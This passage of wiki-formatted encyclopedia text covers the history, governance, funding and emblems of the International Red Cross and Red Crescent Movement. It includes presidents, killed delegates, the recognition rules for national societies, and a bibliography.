On [[October 16]], [[1990]], the [[UN General Assembly]] decided to grant the ICRC [[observer status]] for its assembly sessions and sub-committee meetings, the first observer status given to a private organization. The resolution was jointly proposed by 138 member states and introduced by the [[Italy|Italian]] ambassador, [[Vieri Traxler]], in memory of the organization's origins in the Battle of Solferino. An agreement with the Swiss government signed on [[March 19]], [[1993]], affirmed the already long-standing policy of full independence of the Committee from any possible interference by Switzerland. The agreement protects the full sanctity of all ICRC property in Switzerland including its headquarters and archive, grants members and staff legal immunity, exempts the ICRC from all taxes and fees, guarantees the protected and duty-free transfer of goods, services, and money, provides the ICRC with secure communication privileges at the same level as foreign embassies, and simplifies Committee travel in and out of Switzerland.

At the end of the [[Cold War]], the ICRC's work actually became more dangerous. In the [[1990s]], more delegates lost their lives than at any point in its history, especially when working in local and internal armed conflicts. These incidents often demonstrated a lack of respect for the rules of the Geneva Conventions and their protection symbols. Among the slain delegates were:

* Frédéric Maurice. He died on [[May 19]], [[1992]] at the age of 39, one day after a Red Cross transport he was escorting was attacked in the former [[Yugoslavia|Yugoslavian]] city of [[Sarajevo]].
* [[Fernanda Calado]] (Spain), [[Ingeborg Foss]] (Norway), [[Nancy Malloy]] (Canada), [[Gunnhild Myklebust]] (Norway), [[Sheryl Thayer]] ([[New Zealand]]), and [[Hans Elkerbout]] (Netherlands). They were murdered at point-blank range while sleeping in the early hours of [[December 17]], [[1996]] in the ICRC field hospital in the [[Chechnya|Chechen]] city of [[Nowije Atagi]] near [[Grozny]]. Their murderers have never been caught and there was no apparent motive for the killings.
* [[Rita Fox]] (Switzerland), [[Véronique Saro]] ([[Democratic Republic of Congo]], formerly Zaire), [[Julio Delgado]] ([[Colombia]]), [[Unen Ufoirworth]] (DR Congo), [[Aduwe Boboli]] (DR Congo), and [[Jean Molokabonge]] (DR Congo). On [[April 26]], [[2001]], they were en route with two cars on a relief mission in the northeast of the [[Democratic Republic of Congo]] when they came under fatal fire from unknown attackers.
* [[Ricardo Munguia]] (El Salvador). He was working as a water engineer in Afghanistan and travelling with local colleagues when their car was stopped by unknown armed men. He was killed execution-style at point-blank range while his colleagues were allowed to escape. He died at the age of 39.
* [[Vatche Arslanian]] (Canada). Since 2001, he worked as a logistics coordinator for the ICRC mission in Iraq. He died when he was travelling through Baghdad together with members of the Iraqi Red Crescent. Their car accidentally came into the cross fire of fighting in the city.
* [[Nadisha Yasassri Ranmuthu]] (Sri Lanka). He was killed by unknown attackers on [[July 22]], [[2003]] when his car was fired upon near the city of [[Hilla]] in the south of [[Baghdad]].

====Presidents of the ICRC====

Since 2000, the president of the ICRC has been [[Jakob Kellenberger]]. [[Olivier Vodoz]] and [[Jacques Forster]] serve as the vice presidents.

The former presidents of the Committee have been:
{{col-begin}}
{{col-break}}
* 1863 - 1864: Henri Dufour
* 1864 - 1910: Gustave Moynier
* 1910 - 1928: Gustave Ador
* 1928 - 1944: Max Huber
* 1944 - 1948: Carl Jacob Burckhardt
* 1948 - 1955: Paul Ruegger

{{col-break}}
* 1955 - 1964: Leopold Boissier
* 1964 - 1969: Samuel Gonard
* 1969 - 1973: Marcel Naville
* 1973 - 1976: Eric Martin
* 1976 - 1987: Alexandre Hay
* 1987 - 1999: Cornelio Sommaruga
{{col-end}}

===The International Federation of Red Cross and Red Crescent Societies===

====History====

[[Image:Henry_Davison.jpg|250px|thumb|'''Henry Davison''', Founding father of the League of Red Cross societies&lt;br&gt;&lt;small&gt;(Picture from: [http://www.redcross.int www.redcross.int])&lt;/small&gt;]]

In 1919, representatives from the national Red Cross societies of Britain, France, Italy, Japan, and the US came together in Paris to found the &quot;League of Red Cross Societies&quot;. The original idea was [[Henry Davison]]'s, then president of the [[American Red Cross]]. This move, led by the American Red Cross, expanded the international activities of the Red Cross movement beyond the strict mission of the ICRC to include relief assistance in response to emergency situations which were not caused by war (such as man-made or natural disasters). The ARC already had great disaster relief mission experience extending back to its foundation. 

The formation of the League, as an additional international Red Cross organization alongside the ICRC, was not without controversy for a number of reasons. The ICRC had, to some extent valid, concerns about a possible rivalry between both organizations. The foundation of the League was seen as an attempt to undermine the leadership position of the ICRC within the movement and to gradually transfer most of its tasks and competencies to a multilateral institution. In addition to that, all founding members of the League were national societies from countries of the [[Triple Entente|Entente]] or from associated partners of the Entente. The original statutes of the League from May 1919 contained further regulations which gave the five founding societies a privileged status and, due to the efforts of Henry P. Davison, the right to permanently exclude the national Red Cross societies from the countries of the [[Central Powers]], namely [[Germany]], [[Austria]], [[Hungary]], [[Bulgaria]] and [[Turkey]], and in addition to that the national Red Cross society of [[Russia]]. These rules were contrary to the Red Cross principles of universality and equality among all national societies, a situation which furthered the concerns of the ICRC.

The first relief assistance mission organized by the League was an aid mission for the victims of a famine and subsequent typhus epidemic in [[Poland]]. Only five years after its foundation, the League had already issued 47 donation appeals for missions in 34 countries, an impressive indication of the need for this type of Red Cross work. The total sum raised by these appeals reached 685 million Swiss Francs, which were used to bring emergency supplies to the victims of famines in [[Russia]], [[Germany]], and [[Albania]]; [[earthquakes]] in [[Chile]], [[Persian Empire|Persia]], [[Japan]], [[Colombia]], [[Ecuador]], [[Costa Rica]], and [[Turkey]]; and refugee flows in [[Greece]] and Turkey. The first large-scale disaster mission of the League came after the 1923 earthquake in Japan which killed about 200,000 people and left countless more wounded and without shelter. Due to the League's coordination, the Red Cross society of Japan received goods from its sister societies reaching a total worth of about $100 million. Another important new field initiated by the League was the creation of youth Red Cross organizations within the national societies.

[[Image:Timbre_Turquie_Croissant_rouge_1928.jpg|250px|thumb|left|A stamp from Turkey to support the Red Crescent, 1928]]

A joint mission of the ICRC and the League in the [[Russian Civil War]] from 1917 to 1922 marked the first time the movement was involved in an internal conflict, although still without an explicit mandate from the Geneva Conventions. The League, with support from more than 25 national societies, organized assistance missions and the distribution of food and other aid goods for civil populations affected by hunger and [[disease]]. The ICRC worked with the [[Russian Red Cross]] society and later the society of the [[Soviet Union]], constantly emphasizing the ICRC's neutrality. In 1928, the &quot;International Council&quot; was founded to coordinate cooperation between the ICRC and the League, a task which was later taken over by the &quot;Standing Commission&quot;. In the same year, a common statute for the movement was adopted for the first time, defining the respective roles of the ICRC and the League within the movement.

During the [[Second Italo-Abyssinian War|Abyssinian war]] between [[Ethiopia]] and [[Italy]] from 1935 to 1936, the League contributed aid supplies worth about 1.7 million Swiss Francs. Because the Italian fascist regime under [[Mussolini]] refused any cooperation with the Red Cross, these goods were delivered solely to Ethiopia. During the war, an estimated 29 people lost their lives while being under explicit protection of the Red Cross symbol, most of them due to attacks by the Italian Army. During the [[Spanish Civil War|Civil War in Spain]] from 1936 to 1939 the League once again joined forces with the ICRC with the support of 41 national societies. In 1939 on the brink of the Second World War, the League relocated its headquarters from Paris to Geneva to take advantage of Swiss neutrality.

[[Image:Friedensnobelpreis-1963.jpg|250px|thumb|Peace Nobel Prize ceremony in 1963; From left to right: King Olav of Norway, ICRC President Leopold Boissier, League Chairman John A. MacAulay&lt;br&gt;&lt;small&gt;(Picture from: [http://www.redcross.int www.redcross.int])&lt;/small&gt;]]

In 1952, the 1928 common statute of the movement was revised for the first time. Also, the period of [[decolonization]] from 1960 to 1970 was marked by a huge jump in the number of recognized national Red Cross and Red Crescent societies. By the end of the 1960's, there were more than 100 societies around the world. On [[December 10]], [[1963]], the Federation and the ICRC received the Nobel Peace Prize. In 1983, the League was renamed to the &quot;League of Red Cross and Red Crescent Societies&quot; to reflect the growing number of national societies operating under the Red Crescent symbol. Three years later, the seven basic principles of the movement as adopted in 1965 were incorporated into its statutes. The name of the League was changed again in 1991 to its current official designation the &quot;International Federation of Red Cross and Red Crescent Societies&quot;. In 1997, the ICRC and the Federation signed the [[Seville Agreement]] which further defined the responsibilities of both organizations within the movement. In 2004, the Federation began its largest mission to date after the [[2004 Indian Ocean earthquake|tsunami disaster in South Asia]]. More than 40 national societies have worked with more than 22,000 volunteers to bring relief to the countless victims left without food and shelter and endangered by the risk of epidemics.

====Presidents of the Federation====

Since 2001, the president of the Federation has been Don Juan Manuel Suárez Del Toro Rivero of Spain. The Vice presidents are currently René Rhinow (ex officio as president of the Swiss Red Cross society) and, representing the different core regions of the world, Robert Barnes (Canada), Murli S. Deora (India), Dr. Mamdouh Gabr (Egypt) and Dr. Massimo Barra (Italy).

Former presidents (until 1977 titled &quot;Chairman&quot;) have been:
{{col-begin}}
{{col-break}}
* 1919 - 1922: Henry Davison (USA)
* 1922 - 1935: John Barton Payne (USA)
* 1935 - 1938: Cary T. Grayson (USA)
* 1938 - 1944: Norman Davis (USA)
* 1944 - 1945: Jean de Muralt (Switzerland)
* 1945 - 1950: Basil O'Connor (USA)

{{col-break}}
* 1950 - 1959: Emil Sandstrom (Sweden)
* 1959 - 1965: John MacAulay (Canada)
* 1965 - 1977: Jose Barroso (Mexico)
* 1977 - 1981: Adetunji Adefarasin (Nigeria)
* 1981 - 1987: Enrique de la Mata (Spain)
* 1987 - 1997: Mario Enrique Villarroel Lander (Venezuela)
* 1997 - 2000: Astrid N. Heiberg (Norway)
{{col-end}}

==Activities==

===Organization of the Movement===

[[Image:Schweiz_Genf_IRK-Museum.jpg|250px|thumb|Entry to the International Red Cross and Red Crescent Museum in Geneva]]

Altogether, there are about 97 million people worldwide who serve with the ICRC, the Federation, and the national societies. And there are about 300,000 total full time staff members. 

The 1965 International Conference in [[Vienna]] adopted seven basic principles which should be shared by all parts of the Movement, and they were added to the official statutes of the Movement in 1986. 

* Humanity
* Impartiality
* Neutrality
* Independence
* Voluntary Service
* Unity
* Universality

The International Red Cross and Red Crescent Conference, which occurs once every four years, is the highest institutional body of the Movement. It gathers delegations from all of the national societies as well as from the ICRC, the Federation and the signatory states to the Geneva Conventions. In between the conferences, the Standing Commission acts as the supreme body and supervises implementation of and compliance with the resolutions of the conference. In addition, the Standing Commission coordinates the cooperation between the ICRC and the Federation. It consists of two representatives from the ICRC (including its president), two from the Federation (including its president), and five individuals who are elected by the International Conference. The Standing Commission convenes every six months on average. Moreover, a convention of the Council of Delegates of the Movement takes place every two years in the course of the conferences of the General Assemblies of the Federation. The Council of Delegates plans and coordinates joint activities for the Movement.

===Activities and Organization of the ICRC===

====The mission of the ICRC and its responsibilities within the Movement====

[[Image:Flag of the ICRC.svg|250px|thumb|Emblem of the ICRC]]

The official mission of the ICRC as an impartial, neutral, and independent organization is to stand for the protection of the life and dignity of victims of international and internal armed conflicts. According the 1997 Seville Agreement, it is the &quot;Lead Agency&quot; of the Movement in conflicts. The core tasks of the Committee, which are derived from the Geneva Conventions and its own statutes, are the following:

* to monitor compliance of warring parties with the Geneva Conventions
* to organize nursing and care for those who are wounded on the battlefield
* to supervise the treatment of prisoners of war
* to help with the search for missing persons in an armed conflict (tracing service)
* to organize protection and care for civil populations
* to arbitrate between warring parties in an armed conflict

====Legal status and organization====

The ICRC is headquartered in the Swiss city of Geneva and has external offices in about 80 countries. It has about 12,000 staff members worldwide, about 800 of them working in its Geneva headquarters, 1,200 expatriates with about half of them serving as delegates managing its international missions and the other half being specialists like doctors, agronomists, engineers or interpreters, and about 10,000 members of individual national societies working on site. Contrary to popular belief, the ICRC is not a [[non-governmental organization]] in the most common sense of the term, nor is it an international organization. As it limits its members (a process called cooptation) to Swiss nationals only, it does not have a policy of open and unrestricted membership for individuals like other legally defined NGOs. The word &quot;international&quot; in its name does not refer to its membership but to the worldwide scope of its activities as defined by the Geneva Conventions. The ICRC has special privileges and legal immunities in many countries, based on national law in these countries or through agreements between the Committee and respective national governments. According to Swiss law, the ICRC is defined as a private association. According to its statutes it consists of 15 to 25 Swiss-citizen members, which it coopts for a period of four years. There is no limit to the number of terms an individual member can have although a three-quarters majority of all members is required for re-election after the third term.

The leading organs of the ICRC are the Directorate and the Assembly. The Directorate is the executive body of the Committee. It consists of a General Director and five directors in the areas of &quot;Operations&quot;, &quot;Human Resources&quot;, &quot;Resources and Operational Support&quot;, &quot;Communication&quot;, and &quot;International Law and Cooperation within the Movement&quot;. The members of the Directorate are appointed by the Assembly to serve for four years. The Assembly, consisting of all of the members of the Committee, convenes on a regular basis and is responsible for defining aims, guidelines, and strategies and for supervising the financial matters of the Committee. The president of the Assembly is also the president of the Committee as a whole. Furthermore, the Assembly elects a five member Assembly Council which has the authority to decide on behalf of the full Assembly in some matters. The Council is also responsible for organizing the Assembly meetings and for facilitating communication between the Assembly and the Directorate.

Due to Geneva's location in the French-speaking part of Switzerland, the ICRC usually acts under its French name ''Comité international de la Croix-Rouge'' (CICR). The official symbol of the ICRC is the Red Cross on white background with the words &quot;COMITE INTERNATIONAL GENEVE&quot; circling the cross.

====Funding and financial matters====

The 2005 budget of the ICRC amounts to about 970 million Swiss Francs. Most of that money comes from Switzerland in its capacity as the depositary state of the Geneva Conventions, from national Red Cross societies, the signatory states of the Geneva Conventions, and from international organizations like the [[European Union]]. All payments to the ICRC are voluntary and are received as donations based on two types of appeals issued by the Committee: an annual ''Headquarters Appeal'' to cover its internal costs and ''Emergency Appeals'' for its individual missions. The total budget for 2005 consists of about 819.7 million Swiss Francs (85% of the total) for field work and 152.1 million Swiss Francs (15%) for internal costs. In 2005, the budget for field work increased by 8.6% and the internal budget by 1.5% compared to 2004, primarily due to above average increases in the number and scope of its missions in [[Africa]].

===Activities and organization of the Federation===

====The Mission of the Federation and its responsibilities within the Movement====

[[Image:Flag of the IFRC.svg|250px|thumb|Emblem of the Federation]]

The Federation coordinates cooperation between national Red Cross and Red Crescent societies throughout the world and supports the foundation of new national societies in countries where no official society exists. On the international stage, the Federation organizes and leads relief assistance missions after emergencies like natural disasters, manmade disasters, epidemics, mass refugee flights, and other emergencies. According to the 1997 Seville Agreement, the Federation is the Lead Agency of the Movement in any emergency situation which does not take place as part of an armed conflict. The Federation cooperates with the national societies of those countries affected - each called the ''Operating National Society'' (ONS) - as well as the national societies of other countries willing to offer assistance - called ''Participating National Societies'' (PNS). Among the 187 national societies admitted to the General Assembly of the Federation as full members or observers, about 25-30 regularly work as PNS in other countries. The most active of those are the [[American Red Cross]], the [[British Red Cross]], the [[German Red Cross]], and the Red Cross societies of [[Swedish Red Cross|Sweden]] and [[Norwegian Red Cross|Norway]]. Another major mission of the Federation which has gained attention in recent years is its commitment to work towards a codified, worldwide ban on the use of [[land mine]]s and to bring medical, psychological, and social support for people injured by land mines.

The tasks of the Federation can therefore be summarized as follows:

* to promote humanitarian principles and values
* to provide relief assistance in emergency situations of large magnitude
* to support the national societies with disaster preparedness through the education of voluntary members and the provision of equipment and relief supplies
* to support local health care projects
* to support the national societies with youth-related activities

====Legal status and organization====

Like the ICRC, the Federation has its headquarters in Geneva. It also runs 14 permanent regional offices and has about 350 delegates in more than 60 delegations around the world. The legal basis for the work of the Federation is its constitution. The executive body of the Federation is a secretariat, led by a Secretary General. The secretariat is supported by four divisions labeled &quot;Support Services&quot;, &quot;National Society and Field Support&quot;, &quot;Policy and Relations&quot; and &quot;Movement Cooperation&quot;. The Movement Cooperation division organizes interaction and cooperation with the ICRC. The highest body of the Federation is the General Assembly which convenes every two years with delegates from all of the national societies. Among other tasks, the General Assembly elects the Secretary General. Between the convening of General Assemblies, the Governing Board is the leading body of the Federation. It has the authority to make decisions for the Federation in a number of areas. The Governing Board consists of the president and the vice presidents of the Federation, the chairman of the Finance Commission, and twenty elected representatives from national societies. It is supported by four additional commissions: &quot;Disaster Relief&quot;, &quot;Youth&quot;, &quot;Health &amp; Community Services&quot;, and &quot;Development&quot;.

The symbol of the Federation is the combination of the Red Cross (left) and Red Crescent (right) on a white background (surrounded by a red rectangular frame) without any additional text.

====Funding and financial matters====

The main parts of the budget of the Federation are funded by contributions from the national societies which are members of the Federation and through revenues from its investments. The exact amount of contributions from each member society is established by the Finance Commission and approved by the General Assembly. Any additional funding, especially for unforeseen expenses for relief assistance missions, is raised by appeals published by the Federation and comes from voluntary donations by national societies, governments, other organizations, corporations, and individuals.

===National societies within the Movement===

====Official Recognition of a national society====

National Red Cross and Red Crescent societies exist in nearly every country in the world. Within their home country, they take on the duties and responsibilities of a national relief society as defined by [[International Humanitarian Law]]. Within the Movement, the ICRC is responsible for legally recognizing a relief society as an official national Red Cross or Red Crescent society. The exact rules for recognition are defined in the statutes of the Movement. Article 4 of these statutes contains the ''&quot;Conditions for recognition of National Societies&quot;'':

: ''In order to be recognized in terms of Article 5, paragraph 2 b) as a National Society, the Society shall meet the following conditions:''

:#''Be constituted on the territory of an independent State where the Geneva Convention for the Amelioration of the Condition of the Wounded and Sick in Armed Forces in the Field is in force.''
:#''Be the only National Red Cross or Red Crescent Society of the said State and be directed by a central body which shall alone be competent to represent it in its dealings with other components of the Movement.''
:#''Be duly recognized by the legal government of its country on the basis of the Geneva Conventions and of the national legislation as a voluntary aid society, auxiliary to the public authorities in the humanitarian field.''
:#''Have an autonomous status which allows it to operate in conformity with the Fundamental Principles of the Movement.''
:#''Use the name and emblem of the Red Cross or Red Crescent in conformity with the Geneva Conventions.''
:#''Be so organized as to be able to fulfill the tasks defined in its own statutes, including the preparation in peace time for its statutory tasks in case of armed conflict.''
:#''Extend its activities to the entire territory of the State.''
:#''Recruit its voluntary members and its staff without consideration of race, sex, class, religion or political opinions.''
:#''Adhere to the present Statutes, share in the fellowship which unites the components of the Movement and co-operate with them.''
:#''Respect the Fundamental Principles of the Movement and be guided in its work by the principles of international humanitarian law.''

After recognition by the ICRC, a national society is admitted as a member to the International Federation of Red Cross and Red Crescent societies.

====Activities of national societies on a national and international stage====

Despite formal independence regarding its organizational structure and work, each national society is still bound by the laws of its home country. In many countries, national Red Cross and Red Crescent societies enjoy exceptional privileges due to agreements with their governments or specific &quot;Red Cross Laws&quot; granting full independence as required by the International Movement. The duties and responsibilities of a national society as defined by International Humanitarian Law and the statutes of the Movement include humanitarian aid in armed conflicts and emergency crises such as natural disasters. Depending on their respective human, technical, financial, and organizational resources, many national societies take on additional humanitarian tasks within their home countries such as blood donation services or acting as civilian [[Emergency Medical Service]] (EMS) providers. The ICRC and the International Federation cooperate with the national societies in their international missions, especially with human, material, and financial resources and organizing on-site logistics.

==Symbols of the Movement==

===Protection symbols vs. organizational emblems===

The symbols described below have two distinctively different meanings. On one hand, the visual symbols of the Red Cross, the Red Crescent, the Red Lion with Sun and the Red Crystal serve as protection markings in armed conflicts, a denotation which is derived from and defined in the Geneva Conventions. This is called the ''protective use'' of the symbols. On the other hand, these symbols are used as distinctive logos by those organizations which are part of the International Red Cross and Red Crescent Movement. This is the ''indicative use'' of the emblems. As a protection symbol, they are used in armed conflicts to mark persons and objects (buildings, vehicles, etc.) which are working in compliance with the rules of the Geneva Conventions. In this function, they can also be used by organizations and objects which are not part of the International Red Cross and Red Crescent Movement, for example the medical services of the armed forces, civilian hospitals, and civil defense units. As protection symbols, these emblems should be used without any additional specification (textual or otherwise) and in a prominent manner which makes them as visible and observable as possible, for example by using large white flags bearing the symbol. When used as an organizational logo, these symbols only indicate that persons, vehicles, buildings, etc. which bear the symbols belong to a specific organization which is part of the International Red Cross and Red Crescent Movement (like the ICRC, the International Federation or the national Red Cross and Red Crescent societies). In this case, they should be used with an additional specification (for example &quot;American Red Cross&quot;) and not be displayed as prominently as when used as protection symbols. The Red Shield of David of the Israel society Magen David Adom can only be used for indicative purposes as it is not a recognized protection symbol according to the Geneva Conventions.

===Symbols recognized by the Geneva Conventions===
{{details|Emblems of the Red Cross}}
====Red Cross====

[[Image:Flag_of_the_Red_Cross.svg|150px|thumb|The Red Cross symbol]]

The Red Cross on white background was the original protection symbol declared at the 1864 Geneva Convention. It is, in terms of its color, a reversal of the [[Flag of Switzerland|Swiss national flag]], a meaning which was adopted to honor Swiss founder Henry Dunant and his home country. The ideas to introduce a uniform and neutral protection symbol as well as its specific design originally came from Dr. Louis Appia and General Henri Dufour, founding members of the International Committee. The Red Cross is defined as a protection symbol in Article 7 of the 1864 Geneva Convention, Chapter VII (&quot;The distinctive emblem&quot;) and Article 38 of the 1949 Geneva Convention (&quot;For the Amelioration of the Condition of the Wounded and Sick in Armed Forces in the Field&quot;). There is an unofficial agreement within the Red Cross and Red Crescent Movement that the shape of the cross should be a cross composed of five squares. However, regardless of the shape, any Red Cross on white background should be valid and must be recognized as a protection symbol in conflict. Of the 183 national societies which are currently recognized by the ICRC, 151 are using the Red Cross as their official organization emblem. In addition, the Red Cross is currently used by the national society of [[Tuvalu]] which has applied for official recognition.

====Red Crescent====

[[Image:Flag_of_the_Red_Crescent.svg|150px|thumb|The Red Crescent symbol]]

During the [[Russo-Turkish War]] from 1876 to 1878, the [[Ottoman Empire]] used a Red Crescent instead of the Red Cross because its government believed that the cross would alienate its Muslim soldiers. When asked by the ICRC in 1877, [[Russia]] committed to fully respect the sanctity of all persons and facilities bearing the Red Crescent symbol, followed by a similar commitment from the Ottoman government to respect the Red Cross. After this de facto assessment of equal validity to both symbols, the ICRC declared in 1878 that it should be possible in principle to adopt an additional official protection symbol for non-Christian countries. The Red Crescent was formally recognized in 1929 when the Geneva Conventions were amended (Article 19). Originally, the Red Crescent was used by [[Egypt]] and the new [[Turkey|Turkish Republic]]. From its official recognition to today, the Red Crescent became the organizational emblem of nearly every national society in countries with majority [[Muslim]] populations. The national societies of some countries such as [[Pakistan]] ([[1974]]), [[Malaysia]] ([[1975]]), or [[Bangladesh]] ([[1989]]) have officially changed their name and emblem from the Red Cross to the Red Crescent. The Red Crescent is used by 32 of the 183 recognized societies worldwide and also by the national society of [[Palestinian territories|Palestine]], which has applied for recognition.

====Red Crystal: the third Protocol emblem====

:{{main article|[[Red Crystal (symbol)]]}}

[[Image:Flag of the Red Crystal.svg|150px|thumb|right|The third protocol emblem, also known as the Red Crystal.]]

Because of the controversy over Israel's national society [[Magen David Adom]] and a number of other disputes, the introduction of an additional neutral protection symbol had been under discussion for a number of years, with the Red Crystal (previously referred to as the Red [[Lozenge]] or Red [[Diamond]]) being the most popular proposal. Other attempts have included [[Sri Lanka]] ([[1957]]) and [[India]] ([[1977]]) who tried to establish a [[Swastika|Red Swastika]] and also efforts by the national societies of [[Kazakhstan]] and [[Eritrea]] to use a unique combination of the Red Cross and the Red Crescent, similar to the combination of both symbols used by the national society of the [[Soviet Union]] until its demise. However, amending the Geneva Conventions to add a new protection symbol requires a diplomatic conference of all 192 signatory states to the Conventions. The Swiss government organized such a conference to take place on December 5-6, 2005, to adopt a third additional protocol to the Geneva Conventions introducing the Red Crystal as an additional symbol with equal status to the Red Cross or Red Crescent. Following an unplanned extension of the conference until December 7, the protocol was adopted after a vote successfully achieved the required two-thirds majority. From the countries which attended the conference, 98 voted in favour and 27 against the protocol, while 10 countries abstained from voting.

The official name of the new symbol is &quot;the third Protocol emblem&quot;. The rules for the use of this symbol, based on the third additional protocol to the Geneva Conventions, are the following:

* ''Within its own national territory'', a national society can use either of the recognized symbols alone, or incorporate any of these symbols or a combination of them into the Red Crystal. Furthermore, a national society can choose to display a previously and effectively used symbol, after officially communicating this symbol to the state parties of the Geneva Conventions through Switzerland as the depositary state prior to the adoption of the proposed third additional protocol.

* ''For indicative use on foreign territory'', a national society which does not use one of the recognized symbols as its emblem [[Red Crystal flag#&quot;Defaced&quot; Red Crystal Flag Variants|has to incorporate its unique symbol into the Red Crystal]], based on the previously mentioned condition about communicating its unique symbol to the state parties of the Geneva Conventions.

* ''For protective use'', only the symbols recognized by the Geneva Conventions can be used. Specifically, those national societies which do not use one of the recognized symbols as their emblem have to use the Red Crystal without incorporation of any additional symbol.

====Red Lion with Sun: currently not in use====

[[Image:Red_Lion_with_Sun.svg|150px|thumb|The Red Lion with Sun symbol]]

From 1924 to 1980, [[Iran]] used a 'Red Lion with Sun' symbol for its national society, based on the flag and emblem of the [[Shah dynasty]]. The Red Lion with Sun was formally recognized as a protection symbol in 1929, together with the Red Crescent. Despite the country's shift to the Red Crescent in 1980, Iran explicitly maintains the right to use the symbol. Therefore, it is still recognized by the Geneva Convention as a protection symbol with equal status to the Red Cross, Red Crescent and Red Crystal.

===Other symbols used by specific national societies===

====Red Shield of David====

[[Image:Red_Star_of_David.svg|left|150px|thumb|The emblem of Magen David Adom for indicative use within Israel]]

[[Image:Red-magen-david.GIF|right|150px|thumb|The emblem for Magen David Adom for indicative use when operating abroad]]

[[Magen David Adom]], the national society of [[Israel]], has used the Red Shield of David as its organization emblem since its foundation. The Red Shield of David was initially proposed as an addition to the Red Cross, Red Crescent, and Red Lion in Sun in 1931.  The proposal was rejected, for fear of symbol proliferation.  Israel again tried to establish the emblem as a third protection symbol in the context of the Geneva Conventions, but a respective proposal was narrowly defeated when the conventions were amended in 1949. As the Red Shield of David is not a recognized protection symbol under the Geneva Conventions, Magen David Adom was not recognized as a national society by the ICRC (see requirements for recognition above).  However, the relationship between the ICRC and Magen David Adom has become significantly closer in the last five years.

With the adoption of the third protocol emblem, recognition of Magen David Adom and its admission as a full member of the International Federation can be expected for the near future. The rules of the third protocol allow Magen David Adom to continue using the Red Shield of David when operating within Israel as well as provide a solution for Magen David Adom for abroad missions. Despite limitations due to the previous situation, the organization has had an excellent reputation within the Movement for many years and, in cooperation with both the ICRC and the Federation, takes part in many international activities.

==Mottos of the Movement, Commemoration Day and places of interest==

[[Image:Red_Cross_Memorial_in_Solferino.jpg|thumb|right|250px|The International Red Cross Memorial in Solferino, Italy]]

The original motto of the International Committee of the Red Cross was ''Inter Arma Caritas'' (&quot;In War, Charity&quot;). This Christian-spirited slogan was amended in 1961 with the neutral motto ''Per Humanitatem ad Pacem'' or &quot;With humanity, towards peace&quot;. While ''Inter Arma Caritas'' is still the primary motto of the ICRC (as per Article 3 of the ICRC statutes), ''Per Humanitatem ad Pacem'' is the primary motto of the Federation (Article 1 of the Constitution of the Federation). Both organizations acknowledge the alternative motto, and together both slogans serve as the combined motto of the International Movement.

The mission statement of the International Movement as formulated in the &quot;Strategy 2010&quot; document of the Federation is ''to improve the lives of vulnerable people by mobilizing the power of humanity''. From 1999 to 2004, the common slogan for all activities of the International Movement was ''The Power of Humanity''. In December 2003, the 28th International Conference in Geneva adopted the conference motto ''Protecting Human Dignity'' as the new Movement slogan.

The 16th International Conference which convened in [[London]] in 1938 officially decided to make [[May 8]], the birthday of Henry Dunant, as the official annual commemoration and celebration day of the Movement. Since 1984, the official name of the celebration day has been &quot;[[World Red Cross and Red Crescent Day]]&quot;.

In Solferino, a small museum describes the history of the [[Battle of Solferino]] and of the [[Risorgimento]], the long and bloody Italian struggle for independence and unity. In the [[Ossario di Solferino]] (Solferino Ossuary) in close proximity to the museum, a moving display shows the horrors of war. Inside the chapel, 1,413 skulls and many more bones from thousands of French and Austrian troops who died during the battle are shown. Solferino is also host to the [[International Red Cross Memorial]] inaugurated in 1959 on the centennial of the Battle of Solferino. The memorial contains stone plaques identifying each recognized national society. In [[Castiglione delle Stiviere]], a small town near [[Solferino]], the [[International Museum of the Red Cross]] was also opened in 1959. Moreover, another museum, the [[International Red Cross and Red Crescent Museum]] stands in Geneva in close proximity to the headquarters of the ICRC. Finally, in the Swiss city of [[Heiden]], the [[Henry Dunant Museum]] was opened to preserve the memory and legacy of Dunant himself.

==See also==

* [[Principles of Warfare]]
* [[Prisoners of war]]
* [[Laws of war]]

==References==

===Books===
* David P. Forsythe: ''Humanitarian Politics: The International Committee of the Red Cross.'' Johns Hopkins University Press, Baltimore 1978, ISBN 0-80-181983-0
* Henry Dunant: ''A Memory of Solferino.'' ICRC, Geneva 1986, ISBN 2-88-145006-7
* Hans Haug: ''Humanity for all: the International Red Cross and Red Crescent Movement.'' Henry Dunant Institute, Geneva in association with Paul Haupt Publishers, Bern 1993, ISBN 3-25-804719-7
* Georges Willemin, Roger Heacock: ''International Organization and the Evolution of World Society. Volume 2: The International Committee of the Red Cross.'' Martinus Nijhoff Publishers, Boston 1984, ISBN 9-02-473064-3
* Pierre Boissier: ''History of the International Committee of the Red Cross. Volume I: From Solferino to Tsushima.'' Henry Dunant Institute, Geneva 1985, ISBN 2-88-044012-2
* André Durand: ''History of the International Committee of the Red Cross. Volume II: From Sarajevo to Hiroshima.'' Henry Dunant Institute, Geneva 1984, ISBN 2-88-044009-2
* International Committee of the Red Cross: ''Handbook of the International Red Cross and Red Crescent Movement.'' 13th edition, ICRC, Geneva 1994, ISBN 2-88-145074-1
* John F. Hutchinson: ''Champions of Charity: War and the Rise of the Red Cross.'' Westview Press, Boulder 1997, ISBN 0-81-333367-9
* Caroline Moorehead: ''Dunant's dream: War, Switzerland and the history of the Red Cross.'' HarperCollins, London 1998, ISBN 0-00-255141-1 (Hardcover edition); HarperCollins, London 1999, ISBN 0-00-638883-3 (Paperback edition)
* François Bugnion: ''The International Committee of the Red Cross and the protection of war victims.'' ICRC &amp; Macmillan (ref. 0503), Geneva 2003, ISBN 0-33-374771-2
* Angela Bennett: ''The Geneva Convention: The Hidden Origins of the Red Cross.'' Sutton Publishing, Gloucestershire 2005, ISBN 0-75-094147-2
* David P. Forsythe: ''The Humanitarians. The International Committee of the Red Cross.'' Cambridge University Press, Cambridge 2005, ISBN 0-52-161281-0

===Articles===

* François Bugnion: ''The emblem of the Red Cross: a brief history.'' ICRC (ref. 0316), Geneva 1977
* Jean-Philippe Lavoyer, Louis Maresca: ''The Role of the ICRC in the Development of International Humanitarian Law.'' In:  ''International Negotiation.'' 4(3)/1999. Brill Academic Publishers, p. 503-527, ISSN 1382-340X
* Neville Wylie: ''The Sound of Silence: The History of the International Committee of the Red Cross as Past and Present.'' In: ''Diplomacy and Statecraft.'' 13(4)/2002. Routledge/ Taylor &amp; Francis, p. 186-204, ISSN 0959-2296
* David P. Forsythe: &quot;The International Committee of the Red Cross and International Humanitarian Law.&quot; In: ''Humanitäres Völkerrecht - Informationsschriften. The Journal of International Law of Peace and Armed Conflict.'' 2/2003, German Red Cross and Institute for International Law of Peace and Armed Conflict, p. 64-77, ISSN 0937-5414
